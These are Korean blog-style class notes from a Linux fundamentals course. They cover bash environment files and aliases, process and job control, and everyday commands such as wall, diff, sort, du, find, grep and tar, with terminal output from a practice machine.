|---> /etc/profile.d/*.sh read
|---> ~/.bash_profile read
|---> ~/.bashrc read
|---> /etc/bashrc read
[root@linux220 ~]# bash
|---> ~/.bashrc read
|---> /etc/bashrc read
|---> /etc/profile.d/*.sh read
[root@linux220 ~]# exit
exit
[root@linux220 ~]# exit
logout
|---> ~/.bash_logout read
Connection closed by foreign host.






(4) 환경 파일의 활용 예

(4-1) 사용자 환경 파일에 등록 될수 있는 내용들

■ 변수 설정
PATH, PS1, 사용자 정의 변수 설정(JAVA_HOME, TOMCAT_HOME, ...)

■ 엘리어스(Alias) 설정
alias ls='ls -hF'

■ 쉘 자체의 기능
set -o vi

(4-2) 선언 예 *****

# cat ~/.bashrc


# .bashrc

# User specific aliases and functions

alias rm='rm -i' /* 기본적인 명령어에 대한 alias 선언 */
alias cp='cp -i'
alias mv='mv -i'

# Source global definitions /* /etc/bashrc 실행 */
if [ -f /etc/bashrc ]; then
 . /etc/bashrc
fi

---------------------------- ~/.bashrc 파일 하단에 추가 -----------------------------
# (a). 기본적인 alias
alias c='clear' /* 명령어를 짧게 사용하기 위한 설정 */
alias h='history'
alias t='/usr/kerberos/bin/telnet 172.16.9.252'
alias d='cd /test && rm -rf /test/*'

alias grep='/bin/grep -i --color' /* 명령어 옵션 */
alias cat='/bin/cat -n'
alias df='/bin/df -h -T'
alias ls='ls -h --color=tty'

# (b). 필요한 경우 선언하는 alias
alias lsf='/bin/ls -al | grep ^-' /* 새로운 명령어를 위한 alias */
alias lsd='/bin/ls -al | grep ^d'
alias pps='/bin/ps -ef | head -1 ; ps -ef | grep $1'
alias ddf='/bin/df -h -F ext3 ; echo ; /bin/df -i'

alias dir='/bin/ls -ailhF | more' -----> 윈도우즈 명령어 실행 alias
alias ipconfig='ifconfig' -----> 윈도우즈 명령어 실행 alias
alias topas='top' -----> AIX
alias bdf='df -h' -----> HP-UX
alias prstat='top' -----> Solars

alias nslookup='/usr/local/bin/nslookup' /* 다른 위치의 명령어 실행 */
alias vi='/usr/bin/vim'

# (c). 편리한 기능의 alias
/*
 Webserver(Apache)
 /etc/httpd/conf/httpd.conf -----> Configuration File
 /var/www/html -----> Source Directory
 /etc/httpd/logs -----> Log Directory
*/

# 설정 파일
alias fconf='vi /etc/vsftpd/vsftpd.conf'
alias wconf='vi /etc/httpd/conf/httpd.conf'
alias vsftpd.conf='vi /etc/vsftpd/vsftpd.conf'
alias httpd.conf='vi /etc/httpd/conf/httpd.conf'

# 소스디렉토리 이동
alias wdir='cd /var/www/html'

# 로그파일 모니터링
alias mlog='tail -f /var/log/messages'
alias wlog='tail -f /etc/httpd/logs/access_log'
alias welog='tail -f /etc/httpd/logs/error_log'
alias slog='tail -f /var/log/secure'

/* 실무에서 많이 사용되는 로그 파일 이름 형식 */ (예) file_1210.log
# tail -f /logs/file_1210.log
# tail -f /logs/file_`date +%m%d`.log
# alias slog='tail -f /logs/file_`date +%m%d`.log'
# alias slog="view /logs/file_`date --date '1 days ago' +%m%d`.log"
# alias slog="view /logs/file_`date --date '2 days ago' +%m%d`.log"
---------------------------- ~/.bashrc 파일 하단에 추가 -----------------------------




프로세스(process)란? 실행중인 프로그램이다

DISK(한글.exe) ----> MEM(한글 process) ----> CPU(중앙 처리 장치)

프로세스는 프로그램이 메모리에 적재되어 실제로 실행되고 있는 상태를 말한다.
프로세스는 컴퓨터 내에서 실행중인 프로그램의 인스턴스이다.

(1) 자식프로세스(Child Process) & 부모프로세스(Parent Process)
PID(Process Identification) : 프로세스가 시작할 때 할당받는 프로세스 식별번호
PPID(Parent Process Identification) : 부모 프로세스 식별번호 (서브 프로세스를 실행시킨 프로세스)


[root@linux220 ~]# ps
  PID TTY          TIME CMD
18788 pts/1    00:00:00 bash
18811 pts/1    00:00:00 ps
[root@linux220 ~]# bash
[root@linux220 ~]# ps
  PID TTY          TIME CMD
18788 pts/1    00:00:00 bash
18812 pts/1    00:00:00 bash
18824 pts/1    00:00:00 ps
[root@linux220 ~]# ps -f
UID        PID  PPID  C STIME TTY          TIME CMD
root     18788 18782  0 21:43 pts/1    00:00:00 bash
root     18812 18788  0 21:48 pts/1    00:00:00 bash
root     18825 18812  0 21:48 pts/1    00:00:00 ps -f
[root@linux220 ~]# ps -ef | more
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 16:11 ?        00:00:00 init [5]                            
root         2     1  0 16:11 ?        00:00:04 [migration/0]
root         3     1  0 16:11 ?        00:00:00 [ksoftirqd/0]
root         4     1  0 16:11 ?        00:00:00 [watchdog/0]
root         5     1  0 16:11 ?        00:00:04 [migration/1]
root         6     1  0 16:11 ?        00:00:00 [ksoftirqd/1]
root         7     1  0 16:11 ?        00:00:00 [watchdog/1]
root         8     1  0 16:11 ?        00:00:04 [migration/2]
root         9     1  0 16:11 ?        00:00:00 [ksoftirqd/2]
root        10     1  0 16:11 ?        00:00:00 [watchdog/2]
root        11     1  0 16:11 ?        00:00:04 [migration/3]
root        12     1  0 16:11 ?        00:00:00 [ksoftirqd/3]
root        13     1  0 16:11 ?        00:00:00 [watchdog/3]
root        14     1  0 16:11 ?        00:00:00 [events/0]
root        15     1  0 16:11 ?        00:00:00 [events/1]
root        16     1  0 16:11 ?        00:00:00 [events/2]
root        17     1  0 16:11 ?        00:00:00 [events/3]
root        18     1  0 16:11 ?        00:00:00 [khelper]
root        19     1  0 16:11 ?        00:00:00 [kthread]
root        25    19  0 16:11 ?        00:00:00 [kblockd/0]
root        26    19  0 16:11 ?        00:00:00 [kblockd/1]
root        27    19  0 16:11 ?        00:00:00 [kblockd/2]
root        28    19  0 16:11 ?        00:00:00 [kblockd/3]
root        29    19  0 16:11 ?        00:00:00 [kacpid]
root       190    19  0 16:11 ?        00:00:00 [cqueue/0]
root       191    19  0 16:11 ?        00:00:00 [cqueue/1]
root       192    19  0 16:11 ?        00:00:00 [cqueue/2]
root       193    19  0 16:11 ?        00:00:00 [cqueue/3]
root       196    19  0 16:11 ?        00:00:00 [khubd]
root       198    19  0 16:11 ?        00:00:00 [kseriod]
root       279    19  0 16:11 ?        00:00:00 [khungtaskd]
root       280    19  0 16:11 ?        00:00:00 [pdflush]
root       281    19  0 16:11 ?        00:00:00 [pdflush]
root       282    19  0 16:11 ?        00:00:00 [kswapd0]
root       283    19  0 16:11 ?        00:00:00 [aio/0]
root       284    19  0 16:11 ?        00:00:00 [aio/1]
root       285    19  0 16:11 ?        00:00:00 [aio/2]
root       286    19  0 16:11 ?        00:00:00 [aio/3]
root       502    19  0 16:11 ?        00:00:00 [kpsmoused]
root       567    19  0 16:11 ?        00:00:00 [mpt_poll_0]
root       568    19  0 16:11 ?        00:00:00 [mpt/0]
root       569    19  0 16:11 ?        00:00:00 [scsi_eh_0]


데몬(Daemon)의 정의

시스템(System)을 위해 또는 서비스(Service)를 위해 백그라운드에서 동작하는 프로세스이다

EX) 웹 데몬 ----> httpd
    메일 데몬 ----> sendmail
    ftp 데몬 ----> vsftpd
    telnet 데몬 ----> telnetd



프로세스의 정보 (Process Information)

(1) 프로세스 정보가 존재하는 디렉토리
/proc 라는 디렉토리에 각 프로세스에 해당되는 PID디렉토리들이 있다.
/proc 라는 디렉토리는 커널 메모리를 마운트 한 것이다.

[root@linux220 ~]# ls /proc
1      18788  2407  285   3629  3996  4252  4386  4483  5    8            fs          modules        uptime
10     18812  2479  286   3638  4     4254  4388  4510  502  9            ide         mounts         version
11     18927  2481  2883  3662  4005  4279  4392  4532  567  acpi         interrupts  mpt            vmcore
12     19     2483  29    3677  4038  4281  4393  4534  568  asound       iomem       mtrr           vmmemctl
13     190    2485  3     3734  4055  4313  4397  4536  569  buddyinfo    ioports     net            vmstat
14     191    2487  3231  3744  4082  4316  4399  4544  575  bus          irq         partitions     zoneinfo
15     192    25    3290  3757  4083  4341  4414  4550  576  cmdline      kallsyms    schedstat
16     193    26    3516  3758  4144  4342  4435  4665  577  cpuinfo      kcore       scsi
17     196    27    3518  3767  4149  4348  4450  4667  578  crypto       key-users   self
18     198    279   3540  3774  4150  4350  4457  4668  579  devices      keys        slabinfo
18702  1993   28    3543  3783  4151  4355  4459  4669  595  diskstats    kmsg        stat
18710  2      280   3586  3825  4152  4357  4461  4670  6    dma          loadavg     swaps
18740  2403   281   3597  3842  4154  4362  4463  4671  631  driver       locks       sys
18782  2404   282   3626  3847  4155  4363  4469  4672  657  execdomains  mdstat      sysrq-trigger
18786  2405   283   3627  3860  4157  4365  4475  4673  690  fb           meminfo     sysvipc
18787  2406   284   3628  3869  4250  4382  4481  4674  7    filesystems  misc        tty
[root@linux220 ~]# ps -f
UID        PID  PPID  C STIME TTY          TIME CMD
root     18788 18782  0 21:43 pts/1    00:00:00 bash
root     18812 18788  0 21:48 pts/1    00:00:00 bash
root     18930 18812  0 21:55 pts/1    00:00:00 ps -f


[root@linux220 ~]# gedit &
[1] 18980
[root@linux220 ~]# ps
  PID TTY          TIME CMD
18967 pts/1    00:00:00 bash
18980 pts/1    00:00:00 gedit
18981 pts/1    00:00:00 ps
[root@linux220 ~]# ls -ld /proc/18980
dr-xr-xr-x 5 root root 0  4월 19 21:56 /proc/18980
[root@linux220 ~]# ps
  PID TTY          TIME CMD
18967 pts/1    00:00:00 bash
18986 pts/1    00:00:00 ps
[1]+  Done                    gedit
[root@linux220 ~]# ls -ld /proc/18980
ls: /proc/18980: 그런 파일이나 디렉토리가 없음



프로세스 관리 (백그라운드와 포그라운드 관리 - &, bg, fg, jobs)

(프로그램이 실행되는 형태)
(fg) # ls (# gedit )
(bg) # ls & (# gedit &)

그림2


(fg 형태로 프로그램이 실행되면)
[root@linux220 ~]# ps
  PID TTY          TIME CMD
18967 pts/1    00:00:00 bash
18998 pts/1    00:00:00 ps
[root@linux220 ~]# gedit
ls
date

-> 명령어 창으로 돌아와서 "# ls" 명령어를 수행해도 명령어가 출력결과가 보이지 않는다.
-> 부모 프로세스(bash)가 종료되면 자식 프로세스가 종료된다.


(bg 형태로 프로그램이 실행되면)
[root@linux220 ~]# ps
  PID TTY          TIME CMD
19021 pts/1    00:00:00 bash
19035 pts/1    00:00:00 ps
[root@linux220 ~]# gedit &
[1] 19036
[root@linux220 ~]# ls
Desktop  anaconda-ks.cfg  bin  install.log  install.log.syslog
[root@linux220 ~]# date
2016. 04. 19. (화) 22:03:43 KST
[root@linux220 ~]# ps
  PID TTY          TIME CMD
19021 pts/1    00:00:00 bash
19036 pts/1    00:00:00 gedit
19039 pts/1    00:00:00 ps

-> 명령어 창으로 돌아와서 "# ls" 명령어를 수행하면 정상적으로 수행이 된다.
-> 부모 프로세스(bash)가 종료되었다고 해서 자식 프로세스가 종료되지 않는다.(# exit 명령어 사용)
터미널 윈도우 오른쪽 위에 X 버튼으로 종료하면 차일드프로세스도 같이 종료된다 왜지??



[root@linux220 ~]# cat &
[1] 19088
[root@linux220 ~]# ps -ef | grep cat
root      4532     1  0 16:13 ?        00:00:00 /usr/libexec/notification-area-applet --oaf-activate-iid=OAFIID:GNOME_NotificationAreaApplet_Factory --oaf-ior-fd=21
root      4550     1  0 16:13 ?        00:00:00 /usr/libexec/notification-daemon
root     19088 19072  0 22:06 pts/1    00:00:00 cat
root     19090 19072  0 22:06 pts/1    00:00:00 grep -i --color cat

[1]+  Stopped                 cat
[root@linux220 ~]# ls -ld /proc/19088
dr-xr-xr-x 5 root root 0  4월 19 22:06 /proc/19088
[root@linux220 ~]# jobs
[1]+  Stopped                 cat
[root@linux220 ~]# fg %1
cat

[root@linux220 ~]# ls -ld /proc/19088
ls: /proc/19088: 그런 파일이나 디렉토리가 없음


[EX2] 포그라운드 & 백그라운드 실행 실습

[root@linux220 ~]# sleep 500
<Ctrl + Z>
[1]+  Stopped                 sleep 500
[root@linux220 ~]# jobs
[1]+  Stopped                 sleep 500
[root@linux220 ~]# sleep 600

[2]+  Stopped                 sleep 600
[root@linux220 ~]# sleep 700

[3]+  Stopped                 sleep 700
[root@linux220 ~]# jobs
[1]   Stopped                 sleep 500
[2]-  Stopped                 sleep 600
[3]+  Stopped                 sleep 700
[root@linux220 ~]# bg %1
[1] sleep 500 &
[root@linux220 ~]# bg %2
[2]- sleep 600 &
[root@linux220 ~]# bg %3
[3]+ sleep 700 &
[root@linux220 ~]# jobs
[1]   Running                 sleep 500 &
[2]-  Running                 sleep 600 &
[3]+  Running                 sleep 700 &

[root@linux220 ~]# fg %1
sleep 500

[root@linux220 ~]# fg %2
sleep 600

[root@linux220 ~]# fg %3
sleep 700

[root@linux220 ~]# jobs


언제 bg(&) 사용하냐?
오래 돌아가는 프로그램(백업), gui형태 프로그램(gedit)
이런 경우를 제외하면 fg로 작동한다



'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160420 리눅스 관리자  (0) 2016.04.21
20160420 리눅스 기초  (0) 2016.04.21
20160418 리눅스 기초  (0) 2016.04.19
20160415 리눅스 기초  (0) 2016.04.15
20160414 리눅스 기초  (0) 2016.04.15
Posted by 22Hz
, |
5일차

==============================안내==============================

파이썬(해커의 언어) + 쉘 스크립트 해두면 좋다 해라

==============================복습==============================

chmod CMD
 심볼릭 모드 # chmod u+x file1
 옥탈 모드 # chmod 744 file1

파일 & 디렉토리 퍼미션 의미 r, w, x

umask의 정의 - default permission의 정의를 변경할 때 쓰는 CMD
특수 퍼미션 SetUID, SetGID, Sticky Bit 의미/설정/관리

프로그램이 실행되는 동안, 게시판처럼 (ex tmp)
 # chmod 4755 file1
 # chmod 2755 file1
 # chmod 1777 file1

사용자와 통신할 때 사용하는 명령어
 talk CMD
 [참고] 서비스 on/off 관리 툴 종료
 (GUI) # system-config-services (# serviceconf)
 (TUI) # ntsysv (# setup)
 (CLI) # chkconfig ntalk on/off

==============================강의==============================

사용자와 통신할 때 사용하는 명령어
 wall CMD

관리자 알아두면 좋은 명령어들
 diff/cmp CMD
  # cmp -s file1 file2 // -s: silent mode
  # diff file1 file2
  # diff -c file1 file2
  # diff --recursive dir1 dir2
 sort CMD
  # cmd | sort -k 3
  # cmd | sort -k 3 -r

  # df -k
  # du -sk /var
  # cd /var ; du -sk * | sort -nr | more
 file CMD

검색 관련 명령어
 grep CMD
  # cmd OPTIONS PATTERN file1
  OPTIONS: -l, -i. -v, -w, --color
  PATTERN: *  .  ^  $  [abc]

  # cmd | grep root
  # cat /etc/passwd | grep root
  # rpm -qa | grep talk
  # ps -ef | grep xinetd
  # chkconfig --list | grep xinetd

  [참고] egrep/fgrep CMD
  # cat /var/log/messages | egrep -i '(warn|err|crit|alert|emerg)'
 find CMD
  # find / -name core -type f
  # find / -user user1 -group class1
  # find / -mtime [-7|7|+7]
  # find / -size [-300c|300c|+300c]
  # find / -perm [-755|755]
  # find / -name core -type f -exec rm -f {} \;

  # find /log -name "*.log" -type f -mtime +30 -exec rm -f {} \;
  # find /log -type f -mtime -2 -size +1G
  # find / -perm -4000 -o -perm -2000
  # find /source -type f -exec grep -l 'Server Error' {} \;

압축과 아카이빙 관련 명령어
 compress CMD
  gzip/gunzip CMD
   # gzip file1
   # gunzip -c file1.gz
   # gunzip file1.gz
  bzip2/bunzip2 CMD
   # bzip2 file1
   # bunzip2 -c file1.bz2
   # bunzip2 file1.bz2
 archive CMD
  tar CMD
   # tar cvf file.tar file1 file2 file3
   # tar tvf file.tar
   # tar xcf file.tar
 compress + archive CMD
  tar CMD
   # tar cvzf file.tar.gz file1 file2 file3
   # tar tvzf file.tar.gz
   # tar xczf file.tar.gz

   # tar cvjf file.tar.bz2 file1 file2 file3
   # tar tvjf file.tar.bz2
   # tar xcjf file.tar.bz2
  jar CMD
   # jar cvf file.jar file1 file2 file3
   # jar tvf file.jar
   # jar xcf file.jar
  zip CMD
   # zip [-r] file.zip file1 file2 file3
   # unzip -l file.zip
   # unzip file.zip

쉘의 특성
 리다이렉션

==============================실습==============================

오른쪽 위에서 업데이트 말풍선 끄는 방법(업데이트 서비스 끄는 방법)
[root@linux220 ~]# chkconfig --list | grep update
yum-updatesd    0:해제  1:해제  2:활성  3:활성  4:활성  5:활성  6:해제
[root@linux220 ~]# who -r
         run-level 5  2016-04-18 16:01                   last=S
[root@linux220 ~]# chkconfig yum-updatesd off
[root@linux220 ~]# chkconfig --list | grep update
yum-updatesd    0:해제  1:해제  2:해제  3:해제  4:해제  5:해제  6:해제
[root@linux220 ~]# service yum-updatesd stop
yum-updatesd를 정지 중:                                    [  OK  ]


wall CMD
# wall "test messages"

[터미널1] user01
[root@linux220 ~]# telnet localhost
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.

    linux220.example.com (Linux release 2.6.18-194.el5 #1 SMP Fri Apr 2 14:58:35 EDT 2010) (2)

login: user01
Password:
Last login: Fri Apr 15 19:47:21 from linux220
[user01@linux220 ~]$ id
uid=501(user01) gid=501(user01) groups=501(user01)
[user01@linux220 ~]$ pwd
/home/user01
[user01@linux220 ~]$
Broadcast message from root (pts/3) (Mon Apr 18 16:15:41 2016):

hello hell oh

Broadcast message from root (pts/3) (Mon Apr 18 16:15:41 2016):

hello hell oh

Broadcast message from root (pts/3) (Mon Apr 18 16:16:23 2016):

hell oh!

Broadcast message from root (pts/3) (Mon Apr 18 16:16:23 2016):

hell oh!

Broadcast message from root (Mon Apr 18 16:16:50 2016):

127.0.0.1       localhost       localhost.localdomain
::1                     localhost6      localhost.localdomain6
172.16.6.220    linux220.example.com    linux220

Broadcast message from root (Mon Apr 18 16:16:50 2016):

127.0.0.1       localhost       localhost.localdomain
::1                     localhost6      localhost.localdomain6
172.16.6.220    linux220.example.com    linux220


[터미널2] root
[root@linux220 ~]# wall "hello hell oh!"
bash: !": event not found //이건 왜 안되는걸까??
[root@linux220 ~]# wall "hello hell oh"

Broadcast message from root (pts/3) (Mon Apr 18 16:15:41 2016):

hello hell oh
[root@linux220 ~]# wall
hell oh! //< Ctrl + D >

Broadcast message from root (pts/3) (Mon Apr 18 16:16:23 2016):

hell oh!
[root@linux220 ~]# wall < /etc/hosts

Broadcast message from root (Mon Apr 18 16:16:50 2016):

127.0.0.1       localhost       localhost.localdomain
::1                     localhost6      localhost.localdomain6
172.16.6.220    linux220.example.com    linux220



[실무 예] 긴급한 작업 공지시

긴급한 작업(EX: fsck CMD, dump CMD)
# wall < /etc/MESS/work.txt
..... 10분 .....
# wall < /etc/MESS/work.txt
..... 20분 ......
#





유용한 명령어
비교(cmp, diff), 정렬(sort), 확인(file)

cmp CMD

[root@linux220 ~]# cd /test
[root@linux220 /test]# cat > cmpfile1
1111
2222
3333 <Ctrl + D>
[root@linux220 /test]# cat > cmpfile2
1111
2222
3333 <Ctrl + D>
[root@linux220 /test]# cat > cmpfile3
1111
2222
4444 <Ctrl + D>
[root@linux220 /test]# cmp cmpfile1 cmpfile2
[root@linux220 /test]# cmp cmpfile1 cmpfile3
cmpfile1 cmpfile3 differ: byte 11, line 3


diff CMD

[root@linux220 /test]# diff cmpfile1 cmpfile2
[root@linux220 /test]# diff cmpfile1 cmpfile3
3c3
< 3333
---
> 4444
[root@linux220 /test]# diff -c cmpfile1 cmpfile3
*** cmpfile1    2016-04-18 16:21:53.000000000 +0900
--- cmpfile3    2016-04-18 16:22:10.000000000 +0900
***************
*** 1,3 ****
  1111
  2222
! 3333
--- 1,3 ----
  1111
  2222
! 4444


디렉토리 비교

[root@linux220 /test]# mkdir dir1
[root@linux220 /test]# vi dir1/file1
-------------------------------------------------------------------
1111
-------------------------------------------------------------------
[root@linux220 /test]# mkdir dir2
[root@linux220 /test]# vi dir2/file1
-------------------------------------------------------------------
2222
-------------------------------------------------------------------
[root@linux220 /test]# diff --recursive dir1 dir2
diff --recursive dir1/file1 dir2/file1
1c1
< 1111
---
> 2222
[root@linux220 /test]# vi dir2/file1
-------------------------------------------------------------------
1111 //2222 에서 1111 로 수정
-------------------------------------------------------------------
[root@linux220 /test]# touch dir2/file2
[root@linux220 /test]# diff --recursive dir1 dir2
Only in dir2: file2




[실무 예] 파일 비교

(원 본) -------------------> (백업 본)
/source/* (server.xml) /source/* (server.xml)
# diff server.xml servier.xml.old


[root@linux220 /test]# cp /etc/httpd/conf/httpd.conf /test
[root@linux220 /test]# cp httpd.conf httpd.conf.old
[root@linux220 /test]# vi httpd.conf
-------------------------------------------------------------------
/ServerName -> n
[수정전]
#ServerName www.example.com:80
[수정후]
ServerName 172.16.9.2XX:80
-------------------------------------------------------------------
[root@linux220 /test]# diff httpd.conf httpd.conf.old
265c265
< ServerName 172.16.6.220:80
---
> #ServerName www.example.com:80


[실무 예] 디렉토리 마이그레이션 작업

/was1/* ---- Migration ----> /was2/*
# ls -alR /was1 | wc -l
# ls -alR /was2 | wc -l
# diff --recursive /was1 /was2



sort CMD 정렬

[명령어 형식]
# sort /etc/passwd
# sort –r /etc/passwd   /* -r : reverse */
# sort -k 3 filename   /* -k : key */
# sort -t : -k 3 –n /etc/passwd  /* -t : seperate, -n : numeric */

정열 기준(default)
 오름차순 정열   <---> (-r) 내림차순 정열
 1필드->2필드->3필드-> ... 정열 <---> (-k) 필드 지정 정열
 문자열 정열   <---> (-n) 숫자열 정열


[root@linux220 /test]# vi sortfile1
[root@linux220 /test]# cat sortfile1
linux100 10 20 31 50
linux200 20 25 31 20
linux300 30 20 30 40
linux400 50 20 30 80

[root@linux220 /test]# sort sortfile1

linux100 10 20 31 50
linux200 20 25 31 20
linux300 30 20 30 40
linux400 50 20 30 80
[root@linux220 /test]# sort -r sortfile1
linux400 50 20 30 80
linux300 30 20 30 40
linux200 20 25 31 20
linux100 10 20 31 50

[root@linux220 /test]# sort -k 3 -n sortfile1 //숫자일때 -n 옵션

linux100 10 20 31 50
linux300 30 20 30 40
linux400 50 20 30 80
linux200 20 25 31 20


[root@linux220 /test]# cat /etc/passwd | head
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
[root@linux220 /test]# sort -t : -k 1 /etc/passwd | head
adm:x:3:4:adm:/var/adm:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
avahi-autoipd:x:100:102:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
distcache:x:94:94:Distcache:/:/sbin/nologin
dovecot:x:97:97:dovecot:/usr/libexec/dovecot:/sbin/nologin
fedora:x:500:500:fedora:/home/fedora:/bin/bash
[root@linux220 /test]# sort -t : -k 3 -n /etc/passwd | head
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:


[EX2] sort 명령어 활용
# CMD | sort
# CMD | sort –r
# CMD | sort –nr
# ps -ef | head | sort
# ps -ef | head | sort –r
# ps -ef | head | sort -k 3
# ps -ef | head | sort -k 3 –r
# df –h | sort -k 4
# df -h | sort -k 4 -r


[root@linux220 /test]# ps -ef | head | sort -k 2
root         1     0  0 15:59 ?        00:00:00 init [5]        
root         2     1  0 15:59 ?        00:00:00 [migration/0]
root         3     1  0 15:59 ?        00:00:00 [ksoftirqd/0]
root         4     1  0 15:59 ?        00:00:00 [watchdog/0]
root         5     1  0 15:59 ?        00:00:00 [migration/1]
root         6     1  0 15:59 ?        00:00:00 [ksoftirqd/1]
root         7     1  0 15:59 ?        00:00:00 [watchdog/1]
root         8     1  0 15:59 ?        00:00:00 [migration/2]
root         9     1  0 15:59 ?        00:00:00 [ksoftirqd/2]
UID        PID  PPID  C STIME TTY          TIME CMD
You have new mail in /var/spool/mail/root
[root@linux220 /test]# ps -ef | head | sort -k 2 -r
UID        PID  PPID  C STIME TTY          TIME CMD
root         9     1  0 15:59 ?        00:00:00 [ksoftirqd/2]
root         8     1  0 15:59 ?        00:00:00 [migration/2]
root         7     1  0 15:59 ?        00:00:00 [watchdog/1]
root         6     1  0 15:59 ?        00:00:00 [ksoftirqd/1]
root         5     1  0 15:59 ?        00:00:00 [migration/1]
root         4     1  0 15:59 ?        00:00:00 [watchdog/0]
root         3     1  0 15:59 ?        00:00:00 [ksoftirqd/0]
root         2     1  0 15:59 ?        00:00:00 [migration/0]
root         1     0  0 15:59 ?        00:00:00 init [5]



[root@linux220 ~]# df -h
Filesystem            Size  Used Avail Use% Mounted on
/dev/sda1              36G  3.2G   31G  10% /
/dev/sda8             487M   11M  451M   3% /data1
/dev/sda7             487M   11M  451M   3% /data2
/dev/sda6             487M   11M  451M   3% /data3
/dev/sda5             487M   11M  451M   3% /data4
/dev/sda3             487M   11M  451M   3% /home
tmpfs                 506M     0  506M   0% /dev/shm
/dev/hdc              3.9G  3.9G     0 100% /media/CentOS_5.5_Final
[root@linux220 ~]# du -sk /var //disk usage -s: sum, -k: Kbytes
72720   /var
[root@linux220 ~]# du -sk /etc
132976  /etc


[root@linux220 /var]# du -sk *
12      account
14012   cache
8       crash
28      db
32      empty
16      ftp
8       games
20      gdm
46808   lib
8       local
32      lock
2124    log
4       mail
140     named
8       nis
8       opt
8       preserve
8       racoon
388     run
244     spool
12      tmp
8       tux
8752    www
24      yp
[root@linux220 /var]# du -sk * | sort  //문자열 형태의 정렬방식
12      account
12      tmp
140     named
14012   cache
16      ftp
20      gdm
2124    log
24      yp
244     spool
28      db
32      empty
32      lock
388     run
4       mail
46808   lib
8       crash
8       games
8       local
8       nis
8       opt
8       preserve
8       racoon
8       tux
8752    www
[root@linux220 /var]# du -sk * | sort -n //숫자열 형태의 정렬방식
4       mail
8       crash
8       games
8       local
8       nis
8       opt
8       preserve
8       racoon
8       tux
12      account
12      tmp
16      ftp
20      gdm
24      yp
28      db
32      empty
32      lock
140     named
244     spool
388     run
2124    log
8752    www
14012   cache
46808   lib
[root@linux220 /var]# du -sk * | sort -nr (# du -sk * | sort -nr | more)
46808   lib
14012   cache
8752    www
2124    log
388     run
244     spool
140     named
32      lock
32      empty
28      db
24      yp
20      gdm
16      ftp
12      tmp
12      account
8       tux
8       racoon
8       preserve
8       opt
8       nis
8       local
8       games
8       crash
4       mail




file CMD

[참고] Windos / Unix 계열의 파일 확장자에 대해서
Windows -> 파일에 확장자(예: file.txt, hwp.exe, ....)
Unix,Linux -> 파일의 확장자가 거의 의미가 없다.

이 파일이 어떤 종류의 파일인지 확인하는 명령어가 필요하다!! -> file CMD

[EX1] 파일의 종류 확인
# file /etc/passwd /* ASCII파일 (# cat /etc/passwd) */

[root@linux220 ~]# file /etc/passwd
/etc/passwd: ASCII text

[root@linux220 ~]# file /bin/ls
/bin/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.9, dynamically linked (uses shared libs), for GNU/Linux 2.6.9, stripped

[root@linux220 ~]# file /var/run/utmp
/var/run/utmp: data

[root@linux220 ~]# file /etc/rc.d/init.d/sendmail
/etc/rc.d/init.d/sendmail: Bourne-Again shell script text executable

[root@linux220 ~]# file /etc/hosts /etc
/etc/hosts: ASCII text
/etc:       directory

[root@linux220 ~]# cd /etc
[root@linux220 /etc]# file *
DIR_COLORS:            ASCII English text
DIR_COLORS.xterm:      ASCII English text
Muttrc:                ASCII English text
Muttrc.local:          empty
NetworkManager:        directory
X11:                   directory
a2ps-site.cfg:         ASCII English text
a2ps.cfg:              ASCII English text
acpi:                  directory
adjtime:               ASCII text
alchemist:             directory
aliases:               ASCII English text
aliases.db:            Berkeley DB (Hash, version 8, native byte-order)
alsa:                  directory
alternatives:          directory
anacrontab:            ASCII text
asound.state:          ASCII text, with very long lines
at.deny:               very short file (no magic)
...



검색 관련 명령어

grep CMD: pattern(g/re/p, Globally/Regular Expression/Print)

[명령어 형식]
# grep OPTIONS PATTERN file1

(기본 사용법)
# grep root /etc/passwd (# cat /etc/passwd | grep root)

# CMD | grep root
# cat /etc/passwd | grep root
# rpm -qa | grep talk
# ps -ef | grep xinetd
# chkconfig --list | grep ssh


[root@linux220 /etc]# grep root /etc/passwd
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/sbin/nologin
[root@linux220 /etc]# cat /etc/passwd | grep root //선호하는 형식
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/sbin/nologin

[root@linux220 /etc]# rpm -qa | grep talk //rpm: 레드햇 패키지 매니저
talk-server-0.17-31.el5
talk-0.17-29.2.2
[root@linux220 /etc]# ps -ef | grep xinetd
root      3918     1  0 16:02 ?        00:00:00 xinetd -stayalive -pidfile /var/run/xinetd.pid
root     10092  4625  0 17:28 pts/1    00:00:00 grep xinetd
[root@linux220 /etc]# chkconfig --list | grep ssh
sshd            0:해제  1:해제  2:활성  3:활성  4:활성  5:활성  6:해제


(옵션 사용법) "# grep OPTIONS PATTERN file1"
# grep -l root /etc/hosts /etc/passwd /etc/group /* 여러 파일 중 검색 문자열 존재 파일 출력 */
# grep -n root /etc/group    /* -n: number line, 파일에서 root 문자열을 검색하고 라인 번호도 같이 출력 */
